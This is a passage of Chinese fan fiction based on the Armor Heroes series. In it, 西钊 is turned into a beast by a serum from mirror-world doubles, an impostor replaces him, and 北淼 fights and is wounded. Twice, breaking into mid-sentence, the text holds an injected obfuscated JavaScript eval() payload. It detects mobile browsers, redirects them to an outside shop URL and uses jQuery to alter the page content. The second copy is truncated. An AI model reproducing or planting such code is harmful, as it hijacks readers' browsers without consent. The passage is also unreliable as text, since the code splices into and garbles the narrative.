而“西钊”也不急于开启话题,而是远远坐在床脚,背对着西钊。他微微侧过身,低着头以表诚意。他嘴角的笑容并不明显,却不难感觉到努力展现的友善:“关于他对你做的事,我替他向你道歉。我保证,他不会再对你动手。当然,比起这个,我想你应该还有更重要的问题要问我。” 西钊“嗯”了一声,小幅度地点点头:“你们到底对我做了什么?” “西钊”转回身,重新背对西钊,深深地呼出一口气:“现在在你体内的,是我们从‘他’手中拿到的第一支‘异化药剂’,会让你对这个世界的光影村后人产生强烈的攻击欲望。很显然,它的效果还不稳定,导致你失控了。我没有目击现场,但从伤势来看,应该是北淼帮你恢复了神智。希望你理解,我们的本意,绝非伤害无辜。” 话音未落,“西钊”身后便传来一声冷笑。在“西钊”所知的、属于西钊的记忆里,这个人似乎很少露出这般讽刺的模样。他听见西钊说:“你们想让我做什么?变成异能兽、攻击光影村的后人吗?” “嗯。”令西钊意外的是,另一个世界的自己并没有回避可能会遭到驳斥的尖锐问题,“但经过这次的教训,我们会做一些改良。你应该见过,北淼受伤时流出的是光影能量。理论上,只要能够学会控制异化的力量,你对光影村后人的攻击,也只会达到这样的结果,并不会造成实质伤害。他们会损失生命力、记忆,他们的血脉和基因会被改变,但他们不会死。” “我不明白。”西钊死死盯着“西钊”的背影,以至于后者感受到那股不友好的视线之后转身看向他,等待他的后话。但面对五官一模一样、甚至整体气质都比自己更加“灰暗”的那张脸,西钊怎么也拿不出与“北淼”对峙时的钢韧。西钊自暴自弃地叹息着,挪开目光:“我不明白,为什么是我?” “西钊”无奈苦笑:“我想,大概因为只有你能‘救’我吧。” “……‘救’你?”西钊想过很多可能性:铠甲召唤人、光影村后人、曾经的影界大将、甚至北淼的恋人,他实在没想到对方给出的是这个理由。 “西钊”回转身,拉过西钊的右手。一开始西钊本能地抗拒,但当他看到“西钊”右手小臂也有一个和他相同的印记之后,便默许他的行为。只见“西钊”一边将二人的手臂并排贴合,一边解释道:“你知道,我和北淼是‘不该存在的人’,我们的本质,已经不再是人类了。离开那个时空夹缝之后,如果没有光影能量和心中的执念,我们将会彻底消散。这个印记里的异能量虽然被清除了,但我利用它作为我们‘同源契印’的媒介。因为我无法自己汲取,我需要你为我吸收这个世界光影村后人的‘光影能量’,延续我的生命。” “等等。”西钊发现了一个问题,倾身抓住“西钊”的手臂,“那北淼呢?你们也对他——” “别紧张,因为一些原因,‘他’只做出了一管药剂。”“西钊”没有挣脱,就这么任由对方拽着。他声音低沉,语气一如既往地没有多少起伏:“我想你应该知道,另一个世界的北淼,他拥有‘执念’,很强、很强的执念。让妹妹回到自己身边,成为了他生命的意义。这样的他,不需要摄入光影能量,也能留在这里。” 西钊并没有从这些话里找到漏洞,手上虽然放开了“西钊”,心里却还是有些不安:“既然让他留在这里的执念是冰儿,那他会不会想要替换这个世界的北淼?” 真敏锐。“西钊”暗暗感叹,但仍然面不改色地避重就轻:“替换会带来很多麻烦。眼下,你只需要和坐在外面的北淼一起行动,他会告诉你怎么做。与你们不同世界的光影石,能够对你的‘异化’状态产生影响,北淼会利用这一点帮助你控制这份力量。” 看着西钊将信将疑的模样,“西钊”轻轻拍了拍他的肩膀,就像西钊记忆里他的朋友们会做的那样:“你不用马上做出决定,我会给你几天时间考虑。” “如果……我拒绝呢?” “……” 那一瞬间,西钊察觉到“镜像”中的自己一直以来柔软温和的气场忽然变得锋利,他带着笑容的眼眸中藏着的阴暗让西钊不寒而栗。然而只持续了短短几秒,“西钊”便恢复如常,突兀的转变甚至让西钊都觉得有些割裂。 只听“西钊”站起身,抬手捋了捋胸前挎包的背带,用最平和的语气,说出最危险的威胁:“很遗憾,我会取代你的位置。北淼也是如此。他这一辈子倾尽所有,只为和妹妹团聚。如果有一天,我即将彻底消失,那么,我会实现他的愿望——” 那股熟悉的锐利和威压再度向西钊袭来。 “——不惜一切代价。” TBC 78. 决堤之日 ———————— “你会亲手杀死罪大恶极的恋人吗?” ———————— “事情”发生当天,D市 西钊独自坐在一家半开放式的咖啡厅门口,桌上摆着一杯冰美式和一小块提拉米苏——记忆里北淼也喜欢这么搭配,大概吧,他不是很分得清咖啡的种类。根据“北淼”的情报,有两个木影村后人今天会从外地回来,西钊需要在他们的必经之路伺机而动,最后依“北淼”的指示发动袭击。 西钊没什么胃口。他低头看着自己的手,思绪渐渐飘离。道德底线让他试图为伤人行为进行辩护:这一切并非出于自己的意愿。之所以答应“西钊”,是因为他有不得不这么做的理由。 其一,也是最重要的一点:他现在能够变成极易失控、力量强大的异能兽,而就目的局势来看,“遥控器”的开关不在他手里。如果贸然行动,抛开鸽派的“西钊”先不说,那个几乎能用“愉悦犯”来形容的“北淼”更像是个定时炸弹,不知道什么时候会利用他做出伤天害理的事情来。 其二,虽然“西钊”自己也提到“替换会带来很多麻烦”,但光是想想那家伙“玉石俱焚”的态度,西钊就觉得非常不对劲。他多少了解“北淼”的性子,支撑“北淼”前行的永远只有小雪,这个人从来没有被邪恶和正义束缚过,自然不会没理由地为“西钊”口中那个“他”服务,所以其实“北淼”真正的目的还是替换北淼,在这个世界寻求与小雪共度余生的可能性。以它为出发点,如果“北淼”目前都和西钊一起行动,说明他们并不会直接对北淼下手。也就是说,不经常露面的“西钊”,会代替他混进队伍之中,将北淼作为“人质”以更好地控制他。 其三,也是西钊最不想承认的一点:他确确实实杀了人。之前作的恶至少没出人命,要说最严重的或许是那次对异能兽伤人的袖手旁观。但现在不同,他的手中依然残存着利爪撕裂皮肤血肉的感觉,每次想起都会让他阵阵反胃。他知道,无论是雪獒异兽的身体、还是手刃无辜的行为,都已经不能再被称之为“人类”、他也无法回头了。坤中曾说:每做一件好事,就可以抵消之前做的一件坏事,只要做的好事足够多,就不可以再称呼自己为“坏人”。但现实哪有那么单纯。他跨越了底线。道德、律法都容不下他,更不用说一向嫉恶如仇、正义凌然的北淼。 是啊,北淼。 西钊不禁有些难过,如果连北淼也无法理解和原谅他的身不由己,那这个世界就真的不会再有任何他的容身之所了。 自直面死亡之后,西钊偶尔会想,那些死去的人是否会有在乎他们的亲朋好友为其哀悼。他听过这样一句话:死亡是对留下来的人最残忍的诅咒。西钊忽然觉得,之前不顾周围那些关心他的人而自以为是选择自我解脱的行为实在有些草率,或许真正伤害到北淼的不是他的所作所为,而是他的不告而“别”吧。 西钊抬手摸了摸挂在脖子上的戒指,脑海里是最后他在家里和北淼争执的画面。他能理解北淼的不安带来的极端控制欲,但他想不出怎么安抚北淼的情绪,也不知道怎么解决这种看似不可调和的矛盾。北淼总是强调“在我的监管下才是最安全的”,现在想来,如果当初没有拆下北淼的追踪器或者监听器,情况是不是就不会这么被动了?虽然一举一动都为人所知感觉说不上好,但至少真正发生危险的时候,北淼会第一时间响应。再说,北淼和界王的出发点天差地别,自己当时说的话是不是太重了?也许北淼提出分手是对的,他们确实需要一段时间重新思考这份关系以及彼此之间的感情。 再说了,西钊想,抛开上面的一切问题不谈,甚至不考虑是不是自愿,他和“北淼”做过的事,也让他没办法面对北淼。 西钊在冰凉的咖啡滑过喉咙时反应过来,自己的脑子从最开始的辩解不知不觉间飘到了北淼身上。虽然西钊不喜欢北淼对自己的束缚,但老实说,不想他是不可能的。 就在这时,从身体内部涌现的一股脉动让西钊的动作僵住,滚烫的血液通过一次次心跳经由动脉血管快速传输至他的四肢躯干和大脑。五感开始蜕变,有什么更为残暴的欲望正从灵魂的躯壳中挣脱。这种感觉西钊再熟悉不过:浓烈的、极具针对性的杀意。他知道,目标正在靠近。 现在西钊已经能够自主地变化形态——当然,变回来还得“北淼”出手,而且西钊异化期间的记忆和意识都非常模糊,几乎都凭本能行事,还得通过“北淼”帮助他控制好攻击力度,避免危及对方的生命。西钊曾像问威胁他的丑将一样问过“北淼”:我有没有“你不会利用我伤害无辜”的保证? “北淼”只是耸了耸肩,勾唇轻笑:“谁知道呢。跟你保证过不伤人的是那家伙,又不是我。” 果然,影界的诚信度也就这样吧。 想着这些的西钊目睹自己的手一点点变成覆满灰白毛发的兽爪。意识在慢慢离他远去,五感变得敏锐,原本身而为人的视野却变得模糊不清。他看得到慌乱的影子、听得到人群的尖叫、嗅得到恐惧的气息,他似乎能控制,却不能停止。 被他袭击倒地的人,如果不是光影村后人,仅仅只是像之前的小嵩陷入昏迷;而如果是光影村后人身上的伤口,也没有他想的那样血流成河,而是如“西钊”所说流出蓝色的光影能量。 至少……西钊在潜意识的海洋里有些绝望地自我安慰着,至少“西钊”让“北淼”暂时遵守了承诺:不会再有更多牺牲。 如果真是如此,也许是对他所行之恶最大的慰藉。 ———————— 北淼现在非常烦躁。 西钊已经“失踪”很多天了,周围人却一点都不担心,甚至跟他说“西钊有联系过他们”,还让北淼不要大惊小怪。什么叫“联系过”?这几天西钊就没给他打过一个电话、发过一条信息,连个人影都没出现,说过的上一句话就是“我们分手吧”。他知道西钊有“不告而别”的坏习惯,但把自己和别人区别对待是什么意思?不会说分手是认真的吧? ……不会吧? 北淼试过报案,但因为西钊好像提前联系了警方,因此派出所并没有给北淼上报失踪。他本来还想找西钊好好聊聊,看看是不是他们相处的过程中哪里出问题了,现在倒好,西钊越是这样躲他,他就越生气。为什么?凭什么?两个三次在异世界里找回了彼此的人,在自己的世界里怎么就不能正儿八经见一面呢? 戒指都没还给我,就别想着跟我说分手。 北淼一边抱怨西钊的“任性”,一边凭借自己的资源满大街找人。美真那边是不指望有结果了,他可不听所谓“生命体征消失”这种鬼话,宁愿相信只是西钊弄坏了召唤器,从而让自己的踪迹无处可查。故意的,绝对是故意的。 然而北淼还没查几天,美真就来了电话。这时候他正在距离快乐堡几公里外的街道边停靠,因为早些时候有路人说见过西钊模样的家伙出现。虽然他正心烦意乱,但面对女性,北淼还是保持着最基本的绅士态度:“什么事?” “北淼,在你附近有奇怪的异能量反应。”美真听上去不像是着急,更多的是困惑,特别是在北淼回应“不可能”之后,她的疑惑不减反增,“卫星没法返回影像信号,我不确定那个东西是什么,但它附近有两个人的气压值低于5万帕。” “……光影村后人。”北淼喃喃道。他即刻抬肘搭在车窗,望向街道尽头,隐约能看到混乱的人群涌动。 “对。坤中和炘南都在飞机上,东杉去接机了,我联系不上西钊,你如果找到他了,就和西钊先过去,我把定位给你们。” 北淼还没开口说下一句,美真已经利落地挂了电话。他本打算告诉美真西钊不愿意跟他说话,但转念一想,这么折腾来折腾去的,搞得自己像热脸贴冷屁股。北淼该死的自尊让他拉不下这个脸。于是他一气之下编辑了一条短信: 西钊的事别问我,与我无关。 就在北淼准备点击发送时,他手滑选错了联系人,发到了“最近联系人”东杉那里。……算了,东杉和美真都快订婚的人了,这点信息还是会共享的吧。他也懒得发第二遍。 这时北淼才发现,之所以东杉是他的“最近联系人”,是因为东杉之前给他发过几条短信,关于美真最近发现能量磁场出现异常的问题,想让北淼带着西钊一起来ERP实验室思考对策,结果北淼急着找西钊,完全没注意看。刚刚美真直接打电话来,也许是情况已经开始恶化。 真是的,偏偏在这个时候。 北淼愤愤不平地用力拍了一下方向盘,拧动钥匙,一脚油门就往对街尽头冲去。 没用多久,北淼就看见了那只长得和雪獒铠甲有得一比的家伙。它正拎着一个可怜人的衣领,利齿咬住那人的脖子,尽管对方奋力挣扎,也依旧被稳稳钉在原地哪里也去不了。北淼觉得自己好像出现了幻觉,因为他清楚地看见,那个绝对是普通人类的家伙,脖子上并没有流血,而是流出苍蓝色的荧光,和木影石的颜色很像。这是怎么回事?黑暗势力以其他方式卷土重来了? 不对,现在不是想这些的时候!北淼迅速下车,拿出黑犀铠甲召唤器,试图引起它的注意,大声喊道:“现在我的心情可称不上好,遇到我,算你倒霉了!黑犀铠甲,合体!” 对待异能兽,北淼从来没有手软过,更别说主动伤人的家伙,这勾起了北淼不太好的回忆。尽管北淼察觉到异能兽出招犹豫、只守不攻,他也毫不留情、处处都是杀招,就好像将这些天与西钊的所有矛盾都迁怒于这只来自深渊的凶兽。为什么不呢?反正邪不胜正,邪恶本就是该被消灭的存在。 然而,这场打斗的时间越长,北淼越觉得不对劲。为什么他有一种微妙的违和感和熟悉感?为什么异能兽的攻击总是破绽百出,和方才的凶恶天差地别?它在用本能闪避要害的同时又在遏制自己对北淼进行反击的冲动,就好像一副躯体中有两个对抗的灵魂:一个想杀他,另一个…… “北淼……杀了我……” 另一个,想让他杀了它。 这个极其微弱的、萦绕在北淼耳畔、几乎无法被人听闻的声音,北淼再熟悉不过。而此时,北淼对着它脖颈刺出去的流星枪已无法收回,那只“异能兽”以极限的反应速度侧身躲过,却还是被刃风擦过喉咙。 只听一声清脆的“叮铃”,有什么东西掉落在水泥地上,静止了时间。北淼趁“异能兽”捂着头发出野兽哀鸣的那几秒迅速一个侧滚翻将其拾起。当北淼仔细查看手中的东西时,他第一次如此具象化地感觉到什么是“大脑一片空白”:这是条被斩断的项链,朴素的链条上挂着一枚黑色的戒指,戒面刻着精美的黑犀纹路——这是西钊和他的对戒。 刚刚想让北淼杀了它的那个声音,就是西钊。 ……西钊?怎么会?这个残暴的异能兽是西钊?你要他拿什么相信这件事?他矛盾的攻防?他的声音?他的戒指?这不可能是西钊。西钊不是没事吗?他不是还和其他人畅谈甚欢不愿理自己男朋友吗?这一定是影界的阴谋,是他们扰乱自己心神的手段。 但是、但是,北淼认得这枚戒指。这是他找人特别定制的,不管是材料还是做工都独一无二、无法复刻,全世界只有两枚。现在这枚戒指在影界的人手里,难道西钊他……北淼握着流星枪的手止不住颤抖,思绪逐渐变得混乱。哪怕对方仍旧在恳求北淼对它做个了结,那痛苦的回音也无法传达到他的内心。 让北淼彻底回神的不是微弱的“求救声”停止,也不是异能兽突然变得异常狂暴,而是北淼的铠甲突然被强行解除。北淼虽惊讶,但他也顾不得那么多,迅速站起身,本能地重新抬起手臂再次高喊“黑犀铠甲”,结果一阵电流自手腕传来,让他猝不及防地跪倒在地——铠甲合体失败了。 “可恶!这到底是怎么回事?!”面对步步逼近的异能兽,北淼攥紧戒指从地上爬起来,不断后退,试图诱导异能兽往人烟稀少的地方走,也许是属于人类最后的求生欲,他产生了一种直觉,一个可怕、可悲,又可恨的直觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334706|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :这只异能兽,真的是西钊。而他错过了它最后清醒的时机。 “西钊!你在干什么?!快醒醒,我是北淼!你到底怎么了,西钊!?” 北淼一次次地躲避异能兽的攻击,一点点地往后撤离,呼喊着西钊的名字,试图将他唤醒。但北淼得到的回应只有更加猛烈的进攻,仿佛要把他赶尽杀绝。人类的肉体凡胎终是不敌异能兽的獠牙利爪,北淼不记得自己挨了多少下,也没注意到从身上流出的是血还是光,他只知道再这样下去自己真的会死在这里。召唤器没法使用,手机也在战斗中被损毁,怎么办?要怎么求救? 就在异能兽的爪子高高举起,准备给跌坐在地的北淼最后一击时,如利刃般的钩爪就这么悬停在北淼喉结处。那只野兽的狂暴状态似乎戛然而止,它受惊地后撤,以无法想象的跳跃力消失在北淼的视线之中。待北淼因伤口的疼痛和失血的眩晕缓过神智,他才发现自己的手背上多了一块半干不湿的痕迹。他忽然想起,刚刚异能兽离开的瞬间,有什么东西从它眼角流下、滴落在他手背。当北淼意识到那是一滴眼泪时,才终于开始察觉,它是如此冰凉刺骨。 跌跌撞撞跑回车里、再开车赶往几百米外的快乐堡已经是北淼的极限。只是他不知道、也不明白,为什么“那个人”——那个明明不应该存在、明明只是梦中人的“西钊”——会出现在ERP研究室里,和大家谈笑风生。为什么没有人发现他的异常?他和变成异能兽的西钊究竟…… 北淼甚至来不及告诉大家西钊的情况,他的注意力、他的意识、他残存的一切清醒,都被那个人的存在剥夺了去。北淼不再觉得这个“西钊”的平静是一种绝望;相反,他的平静,正在带给北淼窒息一般的绝望。 “好久不见。” 那个人,在他昏迷前,好像说了这样一句话。 ———————— 北淼在医院醒来时,已经过了整整两天。 也许是召唤人的体质,又或者拜“流光”所赐,北淼自觉伤势没有他想的那么重。病房里暂时没有人,只有些慰问品和放在床头的纸条,是美真的字迹。她说,这次铠甲被迫解除是卫星信号和磁场能量受到干扰,她拿走了北淼的召唤器,正在查明原因。而北淼受重伤的事情没有跟冰儿说,先让他好好养伤,再思考对策。 北淼从床上坐起来,尽管看上去已经没有在流血的外伤,全身仿佛伤筋断骨的疼痛也依旧让他不禁倒吸一口凉气。他现在比任何时候都要焦躁不安,美真他们根本没有意识到事情的严重性。不仅仅是异能量、影界,现在其他世界的黑暗势力也伸出了它的爪牙。变成异能兽的西钊和趁机替换其位的“西钊”就是最好的例子。现在召唤器不在身边,他又不好轻举妄动——他比谁都清楚鲁莽会带来什么样的后果。 可恶,太被动了。北淼攥着戒指的拳头狠狠砸在床上,再柔软的棉都化解不了他此时心里的疑惑、焦虑、担忧,以及再次逼走西钊的自责。是的,再一次,从最初西钊加入铠甲勇士的队伍,到如今加入张家的大家庭,北淼重蹈覆辙,用他一贯的自以为是和自私将本应被爱受宠的人逼得只剩“离开”这条路。如果他不那么极端、控制欲不那么强,如果他那天晚上好好和西钊说明自己的想法,而不是质疑和问责,西钊说不定就不会和他闹脾气,不会连手机也不带就离家出走,说不定就不会…… “北淼……杀了我……” 西钊的声音隐隐约约浮现在脑海,犹如散不去的梦魇,让北淼心烦意乱地把纸条揉成一团,也没那个心思维持他的好绅士形象,朝病房门口随手扔了出去。此时,门正好打开,一只手反应迅捷地抓住那个纸团。待来人放下手,那副北淼朝思夜想的面容赫然出现,却是当下他最不想见的人。 “我代大家来看看你的情况,北淼。看来,恢复得还不错。” 完全相同的平和声音、极力模仿的温柔语气、自然又违和的虚伪笑脸,无一不让北淼感到恶心。他没有回答“西钊”的问候,甚至没有把自己当成一个伤员,径直冲下床,揪着“西钊”的衣领使其背部重重撞在病房的墙上。 “他在哪儿?”北淼听到自己咬牙切齿地说着,几乎要把每个字都在嘴里嚼碎了啐到面前人脸上。 “西钊”嘴角的酒窝消去些许,意味深长的眼神却丝毫未减:“北淼,我不知道你在说什么。” “不知道?那我就让你知道!”北淼不屑地哼笑,抬手对着“西钊”的脸就是一拳。 “西钊”并没有闪躲的意思,只是在北淼挥拳时淡然道:“他杀人了。” 北淼的拳停在“西钊”面门,终究是没有揍下去,但他也没有将手放下:“你说什么?” “西钊”微微歪头,与北淼对视,方才的温和表情转瞬即逝,那副自灰烬中诞生的死意刹那间自他周身蔓延开来:“他变成异能兽,杀了人。之前你看到的他,意识比你想的清醒。这样的他,你能接受吗?”“西钊”明显感觉到北淼有那么一瞬动摇了心智,他的视线挪开一秒,又转回目光继续说道,“身为影界战士的北淼接受了他。疯狂也好、崩溃也好、愧疚也好——” 北淼忽然很不想听“西钊”即将要说的后半句。 “西钊”抓住北淼的拳头,不需要费多少力气就从自己面前移开,强迫北淼松开了拳。他的语气一如既往地听不出什么情绪,却像是明目张胆的挑衅:“他受到污染的灵魂和身体,另一个你,全都接受了。你呢?连一秒也舍不得松开牵引绳的主,能栓得住想要自由的狗吗?” 此时,北淼的视线已经不在“西钊”身上,他盯着病院苍白的墙壁,好一会儿都说不出话来。他能感觉到嘴唇在动,却没有任何一个单词从喉咙里发声,甚至没有意识到自己的思维正在被“西钊”误导。最终,所有的疑问和震撼只剩下了一句: “你们……到底想要怎样?” “你。”意料之外的简单回答。 “……什么?” “我们想要的,是你。” TBC 79. 爱之于天道 ———————— 大多数棋局, 只要先手,就会有绝对优势。 ———————— 北淼在医院昏迷期间,ERP的众人已针对这次的特殊异能量反应和北淼遇袭事件展开了调查,但得到的结果令人匪夷所思。 “你是说,袭击北淼的是和人类结合的异能兽?”炘南坐在圆桌前,双肘搭在桌沿,十指交握,扭头看向美真忙碌的背影,“我记得,还有一只异能兽我们没有封印,会是它吗?” 美真敲击键盘的动作并未停止,甚至匀不出精力转个身回头看着炘南:“应该不是。东杉联系你时应该跟你提过,最近卫星检测到一些特殊的异能量反应,但他们都是人类。” 坐在炘南对面的坤中略显困惑地抓了抓后脑勺,眉头紧蹙,稍作思索,活像高数题怎么也解不开的样子:“啊?这是什么意思?难道说,像以前界王那样,和异能兽融为一体……什么的?” 坤中的话说到一半,东杉和“西钊”正好开门走进ERP指挥室。东杉将一杯茶放在美真手边,“西钊”则很自然地把两瓶可乐分给了坤中和炘南。 东杉一边手捧陶瓷杯时不时喝上两口,一边在炘南旁边拉了把椅子叹息着一屁股坐下,摆出和坤中同款的苦恼表情:“我和西钊刚从医院回来。那些被卫星检测出异能量的人类,全都有同样的症状,类似于癫痫发作,但都没有生命危险。而且据院方的报告来看,他们都曾被注射某种物质,具体成分暂时没有分析出来。” “邪恶势力为什么会选择他们作为目标?”炘南问道,“他们身上,有什么共同之处吗?” “他们都是五行村后人。”东杉从口袋里拿出许久之前意外得到的人体气压探测仪放在桌上,“气压检测仪显示他们的体内气压都低于5w帕,个人档案的血型也是RT血型。但是……” “但是,这些人的血型和基因似乎被改变了。”见东杉有些犹豫不决,一直没有坐下的“西钊”在一旁贴心补充。 他的站位很微妙,与光影能量室保持着一种不近不远的距离,他的目光总是不经意地往光影石的方向偏移,仿佛可以感受到其中的能量脉动,却又畏惧着它的滚烫与耀眼。那是可以延续他生命的力量。如果使它们枯竭,他便可以一直存续于这个世界,直至生命的终点;如果使它们粉碎,光影战士从此将不复存在,无论是否拥有这个世界的记忆,“北淼”都能轻而易举夺走同源体的人生。 只要……毁了这里、毁了这里的所有人。 “啊?异能量连这个也可以改变吗?那他们岂不是不算光影村后人了?天哪……这也太残忍了。”坤中的声音让“西钊”回过神,这个与他年龄相仿的家伙不管在哪个世界都不曾改变过,虽然天真,但在意料之外的地方格外敏锐。 “还不能太早下定论。”东杉摇摇头,托着脸颊往美真的方向看,屏幕上关于医院里那些人的数据不管哪一项都让他倍感头疼,“不过可以肯定的是,他们的RT血型不再具备遗传性。” “也就是说,”终于做完报告分析的美真手撑转椅,面向身后众人,严肃道,“光影村的血脉将会截止在他们这一代。” 从刚才开始就没怎么说话的炘南复盘着其他人的发言,忽然灵光一闪,开口问道:“美真,这些受害者身体里的异能量,和袭击北淼的异能量,有共同点吗?” 美真醍醐灌顶般立马转回屏幕前进行操作对比,仅仅数秒便有了结果,一时不知该说情理之外还是意料之中:“果然没错。他们的异能量有着同一种来源。结合东杉说的,受害者被注射过某种液体来看,应该是受到了异能量的感染。” “感染?”坤中圆睁的眼睛里充满了好奇和惊讶,“像电影里的丧尸病毒那样吗?” 闻言,东杉和炘南二人都有些哭笑不得,极力降低自己存在感的“西钊”则意味深长地眯了眯眼。 东杉将转椅滑到坤中身边,抬手拍拍他的肩膀,语气无奈又好笑:“要真那样,被感染的人早就满大街追着光影村后人跑了。我们五副光影铠甲,就算一个打十个也打不完。” 这番话几乎把所有人都逗笑了,室内紧张的气氛也因此缓和不少。炘南顺势提出了自己的猜测:“按现在的情况来看,虽然他们的异能量同源,但根据目击者的描述,只有袭击北淼的‘受害者’是以异能兽的形态出现的。影界选择注射的方式,就说明他们之间一定存在某种联系,也许……改变受害者RT血型的关键,很可能就在它身上。” “你是说,异能量通过血液注射感染了五行村后人?”东杉觉得炘南的推测多少有些天马行空,却也不无道理,擅长机电工程的他对生物科技不太了解,只好看向美真,“这能做到吗?” 美真在屏幕上调出几份研究报告,目不转睛地盯着“嗯”声思考了好一阵子,这才回答道:“我哥之前说,界王就是十五年前失踪的科学家卡伦。他有一个名为‘解放分子构造技术’的项目,而这种技术某种意义上,可以解释影界如何将‘异能量’渗透到血液里,再让特殊体质的人产生异变。” “不对吧。”坤中的好奇心驱使他从座位上窜起来,凑到屏幕前,即使完全看不懂也眨着眼睛四处寻找新鲜感,“刚刚炘南哥不是说,只有袭击北淼的人变成了异能兽,那被它的异能量感染的那些人,怎么没有和他一样变成怪兽呢?” 好问题。“西钊”默不作声喝完最后一口可乐,依旧一言不发地靠在墙边观察众人的一举一动。 “有道理啊……”东杉也跟着坤中的动作摸了摸后颈,顺着炘南的思路说道,“也许……它感染的异能量是特殊的,而通过它感染到的异能量,只会改变血型和基因,不会改变身体构造。” “看来,影界这一次的目标非常明确,手段也极其残忍。现在线索太少,我们也很被动。相比之前的异能兽袭击,利用异能量感染的方式让我们更加难以察觉他们的动向。”炘南的每一句都精准说到当下的痛点,但他一如往日沉稳温和的语气每时每刻都让人觉得安心可靠,“我的意见是,以静制动,从已有的情报开始着手。血型和基因或许只是暂时被改变,这其中一定有解决方法。抓住这条线,说不定可以找到那个‘0号感染者’。” 美真点点头,对炘南的看法表示赞成:“对。另外,袭击北淼的那只异能兽还袭击了两个光影村后人。他们虽然没有生命危险,但也和被注射了异能量的感染者一样,血型和基因发生了改变,不过没有癫痫症状,只是陷入昏迷。这点我们也需要额外注意。” “哇……那不还是和丧尸一样。”坤中搔搔脑袋,迈步走到“西钊”身旁,手臂一伸就揽过他的肩膀,突兀而亲密的举动把“西钊”吓得差点没做好表情管理。虽然在另一个世界,他和坤中也是朋友,但他终究还是没有学会怎么正常和别人相处。只听坤中如他平日里那般乐观地说:“感染什么的我是不懂啦,但西钊之前不就被异能量附身过吗?当时美真姐和东杉哥是怎么解决的?” “对啊。”东杉闻言,顿时豁然开朗,握拳敲桌,陶瓷杯都被震得凌空一瞬,“光影石的磁场可以影响异能量,要是能作用在那些受害者身上,说不定能逆转他们的感染。” 没有人注意到“西钊”表情变得阴沉下来,仅仅持续了数秒,便恢复如初。这时候他应该说些什么,不然一直保持沉默或许会让人起疑心。于是,根据西钊的记忆,“西钊”故作烦恼,苦笑道:“我和北淼当初能撑下来,全靠运气和召唤人的体质,普通的光影村后人如果承受不了这种痛苦,我想,结果可能会适得其反。”“西钊”顿了顿,又补充道,“你们别误会,我……没有否定这个方案的意思,只是,这是一段不太好的经历,我不希望它发生在其他人身上。” 与西钊无异的体贴与善良成功让“西钊”的人设在众人眼中站稳脚跟,以至于目前还没有人对“西钊”的言行举止产生过违和感。加上他的说法并无漏洞,每个人都默认搁置了这个实际正确的思路。 东杉甚至也起身按住“西钊”的肩膀轻拍两下,以示安慰:“没事,别多想。你的谨慎是对的,我和美真再研究研究。等北淼醒了,看他那里有什么情报。” “诶,说起来,西钊。”提到北淼,美真忽然探头看向“西钊”,眼里充满了八卦的味道,“你和北淼……怎么回事?北淼那时提到你,结果还没说完人就送医院去了。” “就是啊,那天你打电话跟我说你们分手了,我还以为是大冒险的恶作剧呢!哪知道是真的啊!” 坤中夸张而热情的关心让“西钊”有些无所适从,只能回以淡淡的苦涩微笑。他知道,以北淼的性格,很有可能会在醒来之后直接将他的身份拆穿,因此,为了给自己制造有利的环境,他必须采取一些……不那么光明磊落的手段。 “这不是他的错。造成那样的局面,我也有责任。”“西钊”故意在此停顿,佯装一副有什么难言之隐的模样,自嘲地笑了笑,“我想……或许是因为他把我当成了别人,所以才对我有很大的敌意。我想辩解,结果最后闹成了分手。” “把你……当成别人?”美真歪头表示不解,其他人也向“西钊”投来疑惑的视线。 “西钊”嘴角带着若有若无的微笑,耐心地解释道:“美真和东杉应该还记得,我和北淼前段时间总是会被卷进‘去到别的世界’这样的麻烦事里。我们都在其他世界见过不一样的自己。但我没有想过,北淼会认为我并不是真的‘西钊’,而是影界伪装的冒牌货。大概……我还是没办法被他完全信任吧。” 面对眼前低落的“西钊”,大家都不禁感到同情,特别是曾经作为另一种形式的“当事人”的美真和东杉。毕竟他们亲眼见过和北淼西钊一模一样的钟国光石毅出现在ERP指挥室。炘南也为他们的关系没有走到最后而深表惋惜,坤中更是为西钊再度被怀疑猜测而打抱不平。 “西钊”被围在如此和谐的氛围里,那种名为“温暖”和“牵挂”的毒正在一点点腐蚀他这块冰冷的、坚硬的金。这些会拖累他、伤害他,甚至会让他“死在阳光下”的东西,让他再次看向光影能量室时对自己的计划迟疑了一瞬。也仅仅只有那一瞬间而已。因为,他想起“北淼”曾对他说: “不要消失。” 那不是他记忆里放荡不羁、直爽直率的“北淼”,剥离这层骄傲自负的外壳,他能够看到最深处那个曾经说出“喜欢这个世界不如喜欢我”的家伙其实没那么坚强。“西钊”什么都没有、也不会有,但“北淼”不同。在“西钊”眼里,比死亡和消散更让“北淼”畏惧的,其实是“失去”。小雪也好,唯一的同类也罢,对“北淼”来说,不管失去哪一个都是一种无可比拟的痛苦。而如果夺走一个人的人生就可以见到小雪,“北淼”肯定不会放过这个机会。 所以,他不可以动摇。 因为这是“北淼”的愿望。 ———————— 与此同时,D市,某高级酒店内 原本整洁的房间一片狼藉,电子设备、日用品、衣服、床单、家具,还有一些绷带和医用品,所有东西都没有在它应该在的地方。咋一看像是遭到了抢劫,但仔细观察就会发现贵重的东西并没有丢失,更像是发生过一场势均力敌的大型斗殴。唯一看得过去的就是靠近大床的部分,或许是因为这场可以称之为两只野兽互相撕咬的对峙,在这里就被其中一方强行压制住了。 就比如床上的“北淼”正死死钳住西钊仍握着折叠刀的双手、并用膝盖压住他试图狠踹自己的双腿。 他们在这里打了一架,毋庸置疑,并且是西钊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 